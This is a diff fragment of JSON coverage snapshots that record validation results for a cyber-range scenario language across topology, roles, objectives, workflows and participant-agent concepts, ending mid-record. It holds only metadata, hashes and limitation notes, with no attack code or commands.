"outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "d6a39a62f389a683207a7378378e9c0df3a87e88c44f677617be7af905141d79", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "27cf5d5bac07ef4b79d922e7c924832c89f13f12ab7e3a441b1a97557dba2b14", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "7de8bf15504fd996b11c7b9f15d0743b452d1c438b37174124097ff2f2a11028", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "ebec7a35bb9836748ee67badd5553a7d3fec1b72", + "snapshot_id": "raes-standardized-specification-coverage-issue-971-v63", + "snapshot_revision": "63.0.0", + "source_state": { + "base_revision": "ebec7a35bb9836748ee67badd5553a7d3fec1b72", + "checkout_state": "modified", + "implementation_digest": "c11d338c6c52b3dd50b785e02af57d97d6cf8f1cbef544f98fd0403fda1d9fd2", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v64.json b/docs/research/specification-coverage/execution-snapshot-v64.json new file mode 100644 index 000000000..716c0d639 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v64.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-30T05:02:01.302376+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": 